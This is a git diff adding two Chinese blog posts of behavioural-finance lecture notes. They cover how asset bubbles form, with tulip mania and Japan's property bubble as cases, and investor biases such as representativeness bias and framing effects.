+实际上，任何一种金融资产都有一个所谓的基本面价值。如买股票时，股票的分红是最基本面的价值；买公寓或买房时，房租是最基本面的价值；买债券时，债券的分红和付息是基本面的价值。通过金融学的原理可知：利用基本面的价值进行一系列的现金流分析，基本能够分析出资产从基本面视角的价值。巴菲特曾说：我做投资很简单，很重要的原则就是考虑所有基本面的因素，再问自己在最坏的情况下，投资是否会亏钱。由于巴菲特一直伴有的这种安全边际的投资理念，使得他在过去四五十年里能够长盛不衰，成为全美国传奇的投资者。 + +然而发生泡沫时，大家都认为可能没有基本面，或资产的基本面价值根本不重要，因为短期的价格波动给大家带来了强烈的贪婪。 + +席勒教授获得诺贝尔奖很重要的原因是由于以下这幅图： + +![](/uploads/2019/06/03-117.png) + +如图所示。 + +实线代表，标普成份股实际价格指数。上图展示了在过去100多年的历史里面，真实的历史价格波动。 + +虚线代表，事后理性价格。真正让席勒教授研究的、在经济金融里有所影响的是该线。虚线指假设每一年到每一年市场上的市盈率不变，假设整个市场的波动都由企业盈利的波动所驱动，美国股市的波动情况应该是虚线所显示的结果。如上图所示，显然如果只通过市场基本面波动，市场价格的波动比真实价格的波动要平稳很多。 + +通过上图思考以下问题： + ++ 即使像美国这种世界上规模最大、历史最悠久、可能是发展最成熟的资本市场，也仍然表现出如此大的股市价格或资产价格与资产基本面的价值背离的情况，出现这种现象的原因是什么？ ++ 为什么波峰和谷底会交替出现？在经济运行过程中，如果我们所认为的最有效率的资本市场尚且如此的话，那么房地产市场、P2P市场、信托、理财，是否也会出现类似的情况？出现了，该如何面对？ + +巴菲特先生曾说：我的投资理念很简单，就两条，别人贪婪的时候我就变的恐惧，别人恐惧的时候我就变的贪婪。但是中国大部分投资者的心态恰恰相反。所以资产价格并不只是简单地由资产的基本面价值所驱动，影响其波动的很重要的原因是人类的心理。朱宁教授将通过行为金融学跟大家分享，至少提醒大家关注：何时是较好的投资切入点，何时是回避投资风险退出市场的时点。 + +二、泡沫形成机制 + +1. 历史泡沫回顾： + +![](/uploads/2019/06/03-118.png) + +纵观历史趋势，基本10年左右，全球经济会进入一次泡沫和崩盘的波折，逢尾号为8的年份必有很大的波动，这也是很多投资者在今年讨论泡沫及其可能带来风险的一个原因。 + +2.摩天大楼的魔咒 + +从上图可知爆发金融危机或者泡沫崩盘的国家，如荷兰、法国、英国、美国、日本，这些国家的相似之处在于：泡沫往往产生在其成为全球经济霸主的过程中，或刚刚成为全球金融霸主之后。 这是整个经济史研究里必须关注的一个趋势。 + +德国经济学家曾发现了过去一个世纪里，全球建筑史和全球金融市场的关系，即摩天大楼的落成之时往往就是经济金融危机的爆发之日。例如：全球最高的楼，最初在美国，依次是胜家大厦、帝国大厦、西尔斯塔；后来在亚洲，即上海的金茂大厦、台北101、马来西亚吉隆坡的双子座，纷纷在1997-1998年落成，东南亚金融危机也在这段时间发生。之后全球最高的楼，中东迪拜的哈利法塔于2009年竣工，也恰恰是在2008年金融危机前后。这反映了建设的狂潮或投资者的心态与整个经济运行之间的关系。 + +3.泡沫形成的必要条件 + +必要条件即必要非充分条件，意思是出现泡沫往往有这些条件，但并不意味着有这些条件一定会形成泡沫。 + +![](/uploads/2019/06/03-119.png) + ++ 极度宽松的流动性 + +朱宁教授认为：所有资产泡沫都是货币现象。泡沫形成的原因是，整个经济体里资金太多，导致无风险利率，银行存款利率非常低，民众感觉如果将钱存入银行，利率很快就会被CPI追上。为了保证收益率（不被CPI追上），会进行很多有风险的投资。这种极度宽松的货币会导致整个社会对风险的偏好、投资的偏好，发生非常深远、持续的影响。 + ++ 新 技术／产品／地区／概念／商业模式 + +泡沫往往发生在我们不太了解的事物上，包括一个新的理念、技术、产品、地区、概念、商业模式，比如O2O，前两年O2O曾经被认为是最有前景、最具颠覆性的商业模式。任何一个泡沫的背后都有一定的幻想和不能够完全被了解的因素驱使大家愿意为之疯狂。无法准确定位或定价的资产和商业活动，才会引发泡沫。 + +关于泡沫，曾有个非常有名的说法：这次不一样了。因为只有不一样的思路，才会让投资者觉得传统金融的理念和经济运行规律在此不会适用；只有打破原来所有传统估值体系的藩篱和限制之后，才会觉得互联网公司的PE为200倍的现象非常合理。 + +虽然事后大家才意识到每次很可能都一样，不一样的却是投资者每次的贪婪和恐惧的原因。 + ++ 缺乏经验的投资者 + +任何一个经济体都是在其经济高速增长的过程中引发或形成泡沫。因为在经济高速运行过程中逐渐成长起来的企业家、投资者、居民家庭都没有风险意识和体会。 + +诺奖得主席勒教授在回答“中国经济面临何种风险”时说：我担心在中国整个经济运行体制中，几乎所有的参与者都没有经历过衰退、萧条、危机和崩盘。朱宁教授举例说明：美国通过各种调整，经济增长率达到4%已被认为是最了不起的成就，但我们却在焦虑中国经济的增长率会守不住6.5%，因为我们早已习惯每年8%、9%、11%的增长速度。对于经济运行的适应和习惯，和由于经济运行的预期所形成投资预期、行为改变、对资产价格的判断，都会随着长期经济周期的变化而逐渐变化。但在衰退出现之前，投资者很难相信这种情况发生的可能性。 + +另外，人的亲身经历对于其风险偏好和投资行为的影响，可能远远大于目前经济金融学界的了解。 例如：朱宁教授的合作者跟踪研究在美国大萧条时代出生的人群，发现他们与其他投资者相比，风险偏好更低。但在一个经济高速发展的阶段，在泡沫形成时，整个经济体里面往往对泡沫和资产价格的波动是准备不足的。 + ++ 政府的支持 + +朱宁教授认为：历史上发生的任何一个经济泡沫，背后毫无例外都有政府或明或暗的支持。政府初衷是推动经济发展、维护经济稳定、保证资产价格，但其政策往往会诱发整个经济里形成更大的泡沫。 + +4. 历史案例分析 + +案例一：郁金香狂热 + +案例介绍 + +郁金香狂热发生在400多年前的荷兰，这是人类历史上第一场金融泡沫。1636-1637年，荷兰的平均年薪是300荷兰盾左右，而当时荷兰的小型连排别墅住宅也是300荷兰盾，房价对收入比1:1。当时一颗获奖郁金香的种子可以卖6000盾。 + +当时的人们为什么要炒作郁金香呢？ 17世纪时，殖民者在现在的伊朗发现了郁金香这种美丽且优雅的花，并将其带回了西欧。花本身没有实际的用途，但却是经济实力和艺术品位的象征。由于郁金香的花期是相对比较短的，供给又很不确定，这为郁金香的炒作者提供了投机的机会。 + +下面我们借用郁金香泡沫案例依次分析泡沫形成的四个机制。 + +泡沫形成的第一个条件：极度宽松的流动性。 + +17世纪的时候，荷兰曾是全球航海的霸主，这得益于其金融创新，即股份制的企业制度，该制度能把全社会的资金融通到一起，组建一个舰队到海外进行贸易、殖民扩张。毫无疑问，当时的荷兰是西欧经济的核心和整个西方经济的发动机，吸引全社会、全欧洲的人力、资源、资金涌入荷兰。 + +疯狂炒作的表现： + +引用Simon Schama 在1987年纽约出版的《富人的尴尬》中的描述：交易一方可能是一位农夫，他用一颗价值 2,500 荷兰盾的总督郁金香种球交换“2 拉小麦、4 拉黑麦、4 条肥牛、8 头猪、12 头羊、2 牛头葡萄酒、4 吨黄油、1,000 磅奶酪、1 张床、一些衣服和 1个银制大酒杯。” + +任何一个泡沫，一定伴有资产价格的快速上涨和最后价格的大幅下跌，只有上涨没有下跌不叫泡沫，而是非理性繁荣。 但郁金香的价格不会一直繁荣，1637-1642年，郁金香的价格平均每年下跌32%。 + +![](/uploads/2019/06/03-120.png) + +泡沫形成的第二个条件：新。 + +首先，郁金香是新产品，很多投资者不知道郁金香种子和现花供给的数量；其次，金融创新：当时很多的交易通过个人票据（相当于资本市场中的融券、融资）完成，即利用杠杆交易，这就导致了整个金融创新和虚拟经济的进一步发展，但这对于市场的波动有非常巨大的影响。很多人交易郁金香时并未准备拿出所有的真金白银，因为其看重的并非拥有这朵花本身，而是它在今后进一步保值增值所带来的更大的交易价值。 + +这种情况并非仅出现在郁金香狂热的现象中。十多年前，中国有一种非常活跃交易的证券——权证，这种特殊的金融产品有一个到期日，到期日当天整个权证价值完全归零。权证在到期日当天下午三点收盘时会一文不值，但它在上午还能值一两块钱，而且是T+0交易，由于在同一天可以反复交易，所以当天要到期的时候，权证交易的换手率超过1000%，即上午开盘时的投资者到下午收盘时，已完完整整换了十遍。虽然这些投资者都知道收盘时没有任何价值，但都还在炒作，因为大家都相信，还有人比自己更贪婪，更愿意付出更高的价格持有该证券。 + +“新”这个概念非常重要，“新”与金融、投资的关系在于：由于是新事物，市场对其完全没有比较客观、公正的评价估值体系。 + +泡沫形成的第三个条件：缺乏经验的投资者 + +荷兰当时第一次推出了股份制，当时所有的投资者都认为这是一辈子只有一次的可以一本万利、甚至无本万利，改变生活、改变命运的机会。朱宁教授认为：这在任何一个泡沫时期，任何一个高速的经济增长的过程中，可能都是一个无可厚非，但又不可避免的过程。 + +泡沫形成的第四个条件：政府的支持 + +在荷兰当时的经济里，郁金香的价格已开始下跌，荷兰政府为了稳定税收收入、投资者情绪和郁金香价格，针对所有炒作郁金香的人出台政策，可以到政府购买一种保险合同，购买之后可以确认之前签订的关于郁金香交易的合同不具有法律效应。但如果要签订保险合同，就要给政府交3.5%郁金香交易的金额，投资者非常认可这种缴纳较低的保险金额（3.5%交易的价格）就能保本的政策。 + +表面上看，这是政府一个非常善意且非常聪明的稳定郁金香价格的做法，就像很多的政府政策，希望能够在短期托市或稳定资产价格一样。但其结果相当于很多当时郁金香的投资者，买了2007-2008年很多全球金融机构都买的CDS（信用违约互换）。CDS，通俗来讲，就是对次级债务或危险债务的保险合约。之所以很多金融机构敢于购买大量的次级债，是因为他们还从保险公司买了大量的CDS，保证当有毒债券亏钱时，投资者可以就保险合约进行风险转换，即投资者不承担损失，保险公司来承担损失。这个政策就促使了投资者加杠杆进行投资购买。 + +由此可见，任何泡沫的形成，既有整个社会群体的原因，也跟公共政策和监管思路有密不可分的关系。 + +下图是对四个必要条件在泡沫形成过程中作用的总结。 + +![](/uploads/2019/06/03-121.png) + +案例二：日本房地产泡沫 + +下面我们再分析一下日本房地产泡沫及泡沫形成的机制。 + +泡沫形成的第一个条件：极度宽松的货币政策 + +我们现在所熟知的东亚经济的增长模式，是通过廉价的劳动力在加工制造业取得竞争优势，进而在整个国际贸易中获得大量顺差，提升经济水平。日本当年的经济是以外贸出口型导向的，获得了大量的贸易顺差后，中央银行为了控制资金，要在国内投放流动性，导致日本央行采取了非常宽松的货币政策。 + +泡沫形成的第二个条件：新 + +日本作为东亚经济的代表，作为战后从瓦砾里发展起来的经济体，提出了很多当时西方的管理和经济界非常不理解或非常震惊的模式。例如，日本企业的终身雇佣制，即一个人在日本一个企业里工作十年，一辈子就可以一直工作下去，这在西方市场经济倡导的自由选择的环境里是很难想象的事情，大家都会认为日本开创了新的管理理念，实行了新的经济增长模式。因为日本作为一个拥有一亿多人口的国家，曾在80年代末期，通过本币的升值，其经济总量甚至超过了美国的经济总量。由此可见，日本不只是一个新兴的经济体，也对当时的经济及经济增长模式提出冲击和挑战。 + +泡沫形成的第三个条件：缺乏经验的投资者 + +日本在失去了第二次世界大战之后，从一个曾经不可一世的东亚最主要的经济体和霸主，变成了基本上以美国为首的西方列国的从属国家。日本整个民众的被压抑的民族自豪感在之后三四十年的经济发展中得到了极大的释放，以至于日本的企业家以买下美国纽约曼哈顿的洛克菲勒中心这种美国的地标建筑物作为不可推卸的民族责任，以此显示日本才是全球经济的霸主。甚至比较夸张的情况，日本经济最繁盛时，其土地价值将近20万亿美元，超过全球财富（仅计算土地价值）的20%，是当时全球股票市场总价值的两倍；比较形象的表述为日本皇宫占地面积为0.75平方英里的土地价值，预计相当于整个加利福尼亚州全州或加拿大全国的土地价值。 + +但这在当时的日本，大家都认为无可厚非，因为日本代表新的经济增长模式，日本创造了全球最大的财富，从日本出去，发现全球的资产价格如此便宜，本来就该由日本来买。回顾几年前，中国企业海外收购的狂潮，一定程度上与当年日本经济顶峰时的做法类似。这就提示我们：国内的资产价格和国际的资产价格之间的差异，已经大到了让人不得不关注、不得不担忧的水平。在当时东京或大阪这两个最核心的市场里，主要的房地产泡沫集中在商用地产而非居住地产，在东京和大阪比较繁华的地区，当时商业地产的价格已高到30万到40万美元一平米。 + +朱宁教授讲述了日本当年一个非常著名的极端案例：一幢最高级的办公楼，曾经以接近100万美金/平米的价格成交，经过了15年，在1989年左右，该办公楼的价格基本上下跌了98%到99%，回归到1万美元/平米左右。通过这个案例他想跟大家分享的是，日本所有的民众之所以对房地产产生着如此高的追求和信心，是因为他们觉得日本经济的高速发展会永远持续下去。 + +泡沫形成的第四个条件：政府的支持 + +当房价高到一定阶段之后，日本推出了代际房屋贷款。目前中国主要的房贷期限是20年、25年、30年，房贷周期已在过去几年逐渐延长，然而在泡沫顶端时，日本的房贷周期可以达到50年或60年，因此需要代际房屋贷款，即父债子还。 + +美国的忍者贷款、中国的首付贷与日本的代际房屋贷款相似。2008年金融危机爆发之前，美国推出了忍者贷款，即三无贷款，没工作，没收入，没资产，也可以从银行借出钱来。因为所有人都认为，房价一定会上涨。中国2-3年前在北京和上海特别推出了首付贷，现在首付的要求是不得低于总房价的30%，但如果购房者拿不出这30%，可以通过贷款方式支付。 + +在整个资产价格高速上涨，尤其持续上涨的过程中，大家对于资产价格今后上涨的预期非常强烈，会导致不计任何风险和成本，把所有的资金通过杠杆的形式涌入到资产里面。结果，以美元计价的东京、大阪等日本四个核心城市的地产价格从1990年到2004年（2004是整个经济的谷底）下跌了75%到80%。 + +日本房地产价格的下跌，既有资产价格下跌的因素，也有日本本币汇率下降的因素。这和目前中国经济所经历的变化是有关系的。一个资产的价格在全球范围内可以通过两种方式进行调整，一种是资产价格本身的调整，一种是资产所处的货币币值汇率的调整。 所以，“保房价”和“保汇率”二选一是伪命题，资产价格与汇率，两者紧密相连，是一个硬币的两个方面。 + +朱宁教授告诉大家：日本有很多我们现有的资源和优势，即使它的资本市场进一步深化，国际化更加开放，或全球化的布局比中国更早，但中国也有自己的优势，作为大国，经济纵深比较深，同时有强有力的政府支持和保证，所以日本发生的情况，或美国、英国发生的情况，不一定会在中国经济里发生。但朱宁教授强调的问题是：形成泡沫的必要条件在中国现阶段的经济体里已具备，这也是过去2年里中央对泡沫这个问题给予如此高度关注的原因。 + +一位美国非常有名的投资家在1929年大萧条时成功逃离，当人们问他是如何看出当时美国的股市和资产价格已经进入到泡沫时期时，他说：“当乞丐、擦鞋匠、美发师和美容师都能告诉你该如何发财时，就该提醒自己：最危险的幻觉在于相信人可以不劳而获。” + +最危险的幻觉在于相信人可以不劳而获，或是相信我们可以准确地预判一个资产长期的价格。 + +下图是对四个必要条件在泡沫形成过程中作用的总结。 + +![](/uploads/2019/06/03-122.png) + +三、如何应对泡沫 + +如何应对泡沫，即如何用泡沫的角度看待金融市场？ + +中国在过去几十年的经济转型过程中逐渐形成的一种文化：有问题找政府，即使找不了政府，也要让政府知道有这个问题。从短期视角看，这种做法从投资者角度讲是非常理性的，政府一般会通过各种不同的政策让投资者的损失降到最小，甚至保证投资者不受损失，以至于很多投资者在很多高风险的领域，例如股市、楼市、理财产品、P2P和互金，投资者都认为赚钱天经地义，亏钱天理难容。 + +在中国的经济运行中，有根深蒂固和普遍存在的刚性兑付的思路，即赚钱是我的，亏钱有人替我兜底，即政府兜底。这种想法和做法本身无可厚非，既理性也合理。但这种心态、这种心理、这种行为的改变很可能会在中长期导致我国形成泡沫的可能性和风险在急剧的累计和增加。因为所有人，就像全球金融海啸之前的美国金融机构，就像互联网泡沫之前的美国的投资者，就像1989-1990年日本的企业和家庭一样，他们都认为一个资产的价格，一定只会上涨，不可能下跌，这种强烈的预期一旦形成，需要很长时间、很强的外界动力才有可能改变，如果这种预期不改变，资产价格的上涨将很难出现停顿，而一个资产的价格如果一直上涨到天价，那最终一定是一个泡沫，和泡沫之后带来的崩盘。 + +我们通过对行为和心理的了解与分析，必须知道任何一个政策，虽然短期很有效，但要考虑长期对投资者心理的影响和扭曲，这种影响和扭曲可能持续很长时间，一直对经济运行产生很大的影响。前两年我们提出的是房地产长效发展机制，这两年改为讲房地产长效机制，是因为如果我们讲房地产长效发展机制，所有的居民家庭只关注两个字——发展。2015年，主席多次说，希望中国的A股市场长牛慢牛，主席讲了四个字，但市场只听见一个字——牛。政策的观念对投资者的预期和行为有着长期和深远的影响，所以现在不提长效发展机制，只提长效机制。2018年7月31日中共中央政治局会议，第一次提出要遏制房价上涨，很多人对此持有不同意见，但很多时候，如果预期一旦形成，如果不通过很强的外界推力就很难扭转回来。 + +究竟如何看待国家经济？朱宁教授认为：中国还有很多经济政策腾挪的空间可以帮助我们的经济比较顺利的转型，帮助泡沫稳定化解。但是过去1-2年，整个资产价格仍然在持续、甚至高速的增长。那么如何面对这种情况，朱宁教授提出了以下三点建议： + +1.意识到有泡沫这个现象，或者意识到泡沫是在当代经济比较普遍和反复发生的现象。 中国有其自身运行的特点，但并不代表中国的经济完全不遵循任何其他的经济规律。无论是投资还是管理企业，都要关注泡沫、意识到有泡沫这个现象。 + +2.根据每个人不同的风险偏好程度和不同的资产配置情况，要在泡沫形成的过程中，针对个人的资产配置进行一定的控制和调整。 + +整个泡沫运行的趋势，包括泡沫的形成、崩盘等，是相对漫长的过程。在这个过程中，要根据自身不同的资产配置情况和风险偏好程度，既要做到投资多元化，也要关注整个泡沫形成的趋势。例如：如果你已有十套房子，就不要再多买一套了；要对风险有一定的敬畏之心，要知道去进行一定的获利了结或风险敞口的控制，这适用于楼市、股市、财富管理或者信托产品；如果你已经通过15%的利率在某平台赚了不少钱，就把这个钱分散到其他的平台，或者拿回一些落袋为安。 + +3.要有面对、拥抱变化的开放心态。 +泡沫的形成，很大程度上是因为全社会都对今后经济的运行、资产价格的变化趋势，形成了高度一致的预期，这个预期本身可能会自我强化，导致泡沫进一步的增大，但预期也有可能在一夜之间突然发生变化，引发蝴蝶效应。对于任何一个企业家或投资者来讲，必须要不停地挑战自己，要面对可能会发生高度变化的经济运行或资产价格。唯一不变的就是变化本身，这一点同样适用于资产价格、泡沫经济，我们不知道变化何时会发生，所以对于经济的运行要有最起码的敬畏之心。 + +四、总结 + +本堂课主要讲的是泡沫或者泡沫经济的内容，共有三部分。 + +第一部分：正视经济泡沫 + +这一部分通过一些抽象的概念帮助大家意识到泡沫在整个人类经济历史里面是真实的、客观存在的。 + +第二部分：泡沫形成的机制 + +泡沫的形成主要有以下四个原因： + ++ 极其宽松的流动性 ++ 新的理念、产品、概念、商业模式 ++ 缺乏经验的投资者 ++ 政府或明或暗的支持 + +该部分通过一些历史事件总结了泡沫形成的必要条件。 + +第三部分：如何应对泡沫 + +把泡沫的思路放到中国目前的经济金融的环境里，对于如何面对现在变幻纷呈的经济环境，给大家提出了三条建议。 + +本讲内容就先讲到这儿，谢谢大家！ \ No newline at end of file diff --git a/_posts/2019-06-03-394-mba0902.md b/_posts/2019-06-03-394-mba0902.md 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+米勒大叔，美国公募基金业的传奇人物，曾是美国资本市场上呼风唤雨的大颚。他在美盛资本这家历史比较悠久的资产管理公司里，创造了几乎不可能重复的业绩：1991 - 2005年，扣除管理费用之后，基金每年的业绩都能产生超过美国标普500指数的税后收益。米勒先生的过人之处在于，在15年中，他管理的基金每年都能跑赢市场大盘。从概率视角来看，这个概率或许只是十万，甚至百万分之一，从统计学视角这几乎是不可能的。米勒先生因为卓越的投资业绩，获得了公募界、投资界很多的奖项和荣誉。然而，2006-2008、2010-2011，米勒先生所管理的基金，每一年在扣除管理费用之前就已经跑输大盘，他管理的基金规模从2007年最巅峰时的210亿美金缩水到2011年的28亿美金。在过去15年，一个在美国公募界和投资界都呼风唤雨的传奇性人物，居然给投资者带来了这样的业绩。 + +案例小结： 朱宁教授通过该案例给大家分享了一个非常重要的概念——代表性偏差。人类往往会忽略基本面信息，长期的信息，和基于大概率或者大数据的信息，而过分关注近期的、鲜明的和主观性的信息，这是心理学家在过去几十年大量的心理实验所得到的结论。 + +案例中，米勒先生对美国市场有着深刻的理解，年年能给投资者带来超额收益，但投资者根本没有看见，也没有想过，也根本没办法进行准备，他在今后6年中有5年都跑输大盘。朱宁教授用这个案例强调人类决策是简单的线性推演的过程。当然，这不是任何人的错误，是人在千万年的进化过程中逐渐形成的认知渠道和方式。 + +席勒教授曾说投资是一项反人性的活动，这与巴菲特说的别人贪婪的时候我就恐惧，别人恐惧的时候我就贪婪，是一脉相承的。投资之所以反人性，是因为很多趋势是由人性形成的，但是人性往往又会导致市场过度的波动和投资者的错误和损失。 + +回顾一下行为金融学的第一讲课程。泡沫的形成是由于资产价格的过度波动。资产价格之所以过度波动，又是因为很多时候，大量的投资者都在忽略资产价格应该是什么，而去想象资产价格应该像什么。人通常会对过往的业绩、过往的事件、历史的趋势给予很多的关注和重心，很大程度上是因为代表性偏差的影响。 + +1.3 Tom 同学的案例 + +Tom同学是普林斯顿大学的高材生，他虽缺乏创造力但有高智商，他需要有序整齐的生活环境，其字迹潦草马虎，有很强的控制欲，看起来缺少同情心，不喜欢与别人互动，尽管以自我为中心，但有很强的道德观。 + +这是Tom的画像。请思考：在艺术、商科、法律、医学这四个专业里，你觉得Tom是什么专业的？ + +在给出正确答案之前朱宁教授请大家进行思考：专业和职业是否具备一定的相关性？专业和最后从事的职业是否一定很相似？例如，与席勒教授一起分享当年诺贝尔经济奖的法玛教授，本科时期专业是法文；高盛前CEO、美国前财长，汉克+ 保尔森本科专业是历史。内观一下自己，我们在思考一个人的专业时，往往会联想其特征并关联到他的职业。 + +答案是：Tom同学是学艺术的。 + +为什么呢？常青藤学校有两个很重要的建校理念，第一是要进行通才教育而不是职业教育，第二是不发放基于体育的奖学金。作为秉承教育理念非常强烈的学校，普林斯顿大学和布朗大学是直到前一两年为止，唯一没有专科，既没有商学院和法学院，也没有医学院的综合性大学。所以，Tom的专业只能是艺术。 + +如果事先不给大家进行任何关于Tom的描述，直接问大家在普林斯顿大学的校园里面随便碰到一个同学，他学艺术、医学、法律、商科的可能性是多少？如果没有给很多干扰性的附加信息的话，大家思考的途径可能会相对清晰和客观，拥有了大量关于他主观的、易接受的描绘和了解后，反而会影响本应基于大数据的客观的判断。我们往往对一个人的专业，和其职业发展的方向和与之相关的特质画等号，但事实往往相反。比如著名电影《大空头》的作者、美国财经作家刘易斯的第一份工作，是在当时全球最有名的投行所罗门兄弟，但他在普林斯顿大学本科读的是艺术史。 + +案例小结：朱宁教授希望大家意识到，我们的认知处于所谓的代表性偏差的框架里，人类往往会忽略基本面信息，长期的信息，和基于大概率或者大数据的信息，而过分关注近期的、鲜明的、和主观性的信息。 + +1.4 体育运动“热手效应”案例 + +NBA季后赛打到第七场，两队之间差2分，还剩10秒钟，落后2分的球队，需要派一个球手投一个三分球。设想一下：此时教练会找一个当天状态一直非常好，已投中4个三分球的球员，还是会找一个当天几乎没上场、还没被对手盯上、平时表现不错、但当天相对比较沉寂的其他球员去投三分球？如果自己是主教练，会做出什么样的选择？该问题没有正确答案，因为每个人的偏好和选择都不一样。但基于美国大数据的分析，没有任何统计数据可以证明在美国体育博彩行业里已被广泛信任的热手效应，即如果当天状态好，最后投中的机率会更高。但教练通常会选择当天状态好的人，即使他知道这个人会面临对方更多人的看守，受到更多的干扰，得分的难度也更大。但教练仍会选择当天表现比较好的球员，因为他相信球员可能会有这种热手效应。 + +案例小结： 该案例说明人在很多场合里会简单地使用过去的经验。虽然经验可能很短、很有限，只有非常少的样本证据，人们也会希望从中获得一些能够得到的证据或规律。人在多年的成长过程中有一个趋势、一个心理暗示，希望去寻求规律，希望能够找到自己认知的节奏或趋势。我们不喜欢杂乱无章，也不喜欢无序可循，总希望能给自己找到一个证据。 + +1.5 赌徒效应案例 + +心理学界在赌场做过一个非常多重复的实验，叫赌徒效应或赌场效应。赌场往往有两类赌客，以老虎机为例，一类是，看到别人从老虎机赚钱了，等别人走了，他坐下来。这种预期是认为有些老虎机比其他的更容易掉钱；还有一类是发现在过去1个小时内，没人从该老虎机上赚到钱，于是他赶紧坐下来。这类人的预期是，掉钱的概率是固定的，在别人身上没发生，在自己身上发生的概率更大。其实这两种预期都没有道理 ，因为每次赌博，对于整个机器的设定来讲，都是独立的随机分布或随机活动。例如：投掷硬币这种最简单的赌博，假设之前投了10次，5正5反，预测第11次的投掷结果，正反结果是一半一半；假设之前投了10次，10次都是正面，预测第11次的投掷结果，非常多的人认为出现正面的概率更大。其实从数学角度来讲，扔10次正面与扔5正5反的概率是一样的，但我们的主观感受和心理影响却完全不一样，这是我们要讲代表性偏差的原因，因为虽然从概率角度讲，这两个事件的概率是一样的，但鲜明的、主观的、近期发生的情况对我们的影响是非常不同的。 + +案例小结： 即使不在投资领域或金融领域，人的认知在很多时候是非常复杂、非常有趣的，但有时很可能有点荒唐。这种认知的趋势会导致追涨杀跌，因为在认知过程中，我们很多时候都会把最新的、鲜明的情况当作影响投资决策或选择的最重要的因素。 + +1.6 中国明星基金案例 + +朱宁教授收集了每年股票型基金和混合型基金业绩最好的前十名，如下图所示： + +![](/uploads/2019/06/03-123.png) + +图中标红的是连续两年出现在前十名榜单上的股票。由图可知，有非常少的基金会连续两年出现在排名前十的基金榜单上，甚至有些基金虽然第一年出现排名前十的榜单里，第二年却落入了排名业绩最差的前十或者前二十的榜单里。 + +以图是所有公募基金（包括固定收益类基金）的对比榜单： + +![](/uploads/2019/06/03-124.png) + +我们会发现，优良业绩重复的可能性会进一步下降。由此可知，历史业绩这个选择基金最重要的指标并非可以提供那么多的预测能力或信息。根据美国一项从60年代开始的关于基金历史业绩持续性的研究，研究内容为过去1年、5年、10年优秀的业绩是否可以预测今后1年、5年、10年的业绩。研究结果是无论任何时间节点，基金的优良业绩能够重复出现的概率非常低，低到几乎可以被忽略不计。 + +案例小结： 基金的优异业绩很难重复，但广大的投资者仍会把基金的历史业绩作为其选择基金时最重要的评论标准。由此可见，即使在基金投资这样一个非常简单的话题里，我们往往也会忽略基本面的、大概率的、客观的影响基金运行或收益的因素。 + +1.7 影响基金或基金组合业绩的因素 + +从我们投资学的分析角度，共有四个因素：风险、风格、技巧、运气。 + +（1）风险 + +从投资角度通俗来讲，大盘股的风险小，小盘股的风险大。稍微学术性的表述：投资组合β，在市场上涨时，小盘股涨幅比大盘股多，因为其风险大，为了吸引投资者接受这个风险，必须给出更高的投资收益；但在市场下跌时，往往也是小盘股跌幅较大。出现此种现象的原因是大盘股相对安全，小盘股风险较大，有些投资组合之所以比其他投资组合收益更高，是因为其风险更大。例如：牛市时，小盘股投资组合的涨幅非常大，短期看，该基金的基金经理就像股神一样，但到第二年股市下跌时，这些基金的损失往往也最大。所以用去年的业绩去预测今后的业绩，可能是一个勇敢者的游戏，或非常危险的游戏。 + +（2）风格 + +有的公司或有的基金，专门关注消费类公司的股票，有的专门关注TMT、 ST（退市风险）、PT（特别转让）或有重组概念的股票，每一个基金经理术业有专攻。股票或基金的表现常常与市场热点或板块轮动有关，而市场的热点、板块、风格是不断发生变化的。 + +（3）技巧和运气 + +技巧和运气比较难区分，所谓技巧就是持续的运气，这两点之所以有差异，是因为没有一个人会一直有那么多的运气。 + +通过这个分析框架，朱宁教授希望大家了解决定基金或者基金经理表现的因素，有很多因素很难在时间上重复发生。 + +1.8 金融市场中的代表性偏差 + +米勒先生说过以下这段话： + +![](/uploads/2019/06/03-125.png) + +朱宁教授认为这是一个客观、成熟的投资者，对自己如此传奇的业绩给予的非常客观的，克服了人性的贪婪和恐惧之后所做出的非常好的评价。反观国内，基金经理的心态相对比较浮躁，有了1-2年的业绩之后，就利用自己的效应去吸引很多的投资者，然而大多数的基金经理并没有重复自己非常优秀的投资业绩，不但没有给投资者带来很大的收益，反而带来了损失。这既有基金经理的责任，很大程度上与投资者对投资的认知、基金经理的评判和选择也有很大的关系。 + +综上，朱宁教授通过一系列的案例来帮助大家了解和意识到代表性偏差这类行为的偏差。因为它的存在，人的认知过程会有意识地选择忽略一部分信息，选择强调另外一部分信息。这种对于不同信息的选择和忽略，往往会导致我们在投资决策中简单的追涨杀跌，过度的看重短期业绩对今后业绩的预测能力，而忽略了短期业绩的波动潜在的风险，这是相对微观层面进行的分析。 + +在宏观层面上，将代表性偏差与股市泡沫或经济泡沫联系在一起，分析泡沫形成的原因。我们正处在经济高速增长的时代，每个人对经济增长运行的预测都已不知不觉地受到了影响和塑造，我们都会认为这种高速或现在中高速的经济增长一定会持续下去，基于这种假设，我们对自己的投资行为、资产的配置，对企业的投融资、研发，都进行了相应的调整。但是在过去1-2年，从国内宏观经济形势、资产价格、融资成本，再到海外美联储加息的周期、缩表的行动，美国或以美国为首的西方与中国在贸易或其他领域产生的逐渐增加的摩擦，让我们认识到今后5-10年，在全球经济领域、国内宏观经济领域、国内的投资环境，与过去5到15年相比，会发生根深蒂固的变化。 + +以上是从个人的微观层面到经济的宏观层面的分析，希望帮助大家了解看似很简单的代表性偏差是如何影响投资者的心态和行为的。 + +二、框架效应 + +人类的思考，不是一个在无数可能的选择中寻找最优解的过程。虽然经济学家一直假设人是效用最大化的理性人，在面临各种不同的选择时，希望找到最好的选择。但大量的心理学实验都表明：人没有精力和耐心去做所谓穷尽的、最优的选择，反之，人的很多思维都在给定的框架之中。 + +2.1 自行车案例 + +假设自行车1000元，笔记本电脑10000元，需要打车去商场购买，到了之后，自行车的导购员说：您今天来的不巧，明天是店庆30周年，购物满1000减500，所以明天花500元就能买自行车。 + +笔记本电脑的导购员也给了同样的建议，今天买，价格10000元，明天买，价格9500元。面临同样的建议时，计划买自行车的人中选择第二天再来购买的人数明显比笔记本的多。 + +为什么呢？虽然表面上看一个可以省5%，另一个可以省50%，但购买自行车并没有比购买笔记本多省一分钱，仅是二者能够省钱的百分比不一样。我们也知道其实这是心理感受，但心理感受会很大程度上影响我们的判断和选择。很多时候我们关注的不是简单的金额，甚至不是财富的总额，关心的是相对量。这一点诺贝尔奖得主理查德+ 塞勒教授研究发现，人不是完全利己和自私的，很多时候人会做出很多利他的行为，能够放弃自己的部分财富和资源去帮助需要帮助的人，因为人的想法不是简单的个人财富和效用最大化的思路，这种最大化是在给定的框架和思路中作出的。 + +2.2 促销的案例 + 